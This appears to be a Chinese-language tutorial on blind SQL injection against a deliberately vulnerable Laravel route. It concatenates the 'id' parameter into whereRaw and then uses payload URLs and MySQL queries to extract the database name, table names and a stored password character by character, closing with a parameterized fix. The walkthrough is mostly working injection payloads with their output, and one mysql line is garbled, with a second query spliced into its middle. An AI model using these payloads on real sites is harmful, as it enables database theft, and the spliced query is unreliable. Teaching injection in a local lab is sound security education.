Laravel の脆弱性の例による SQL ブラインド インジェクションの原則の解析

composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});

select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;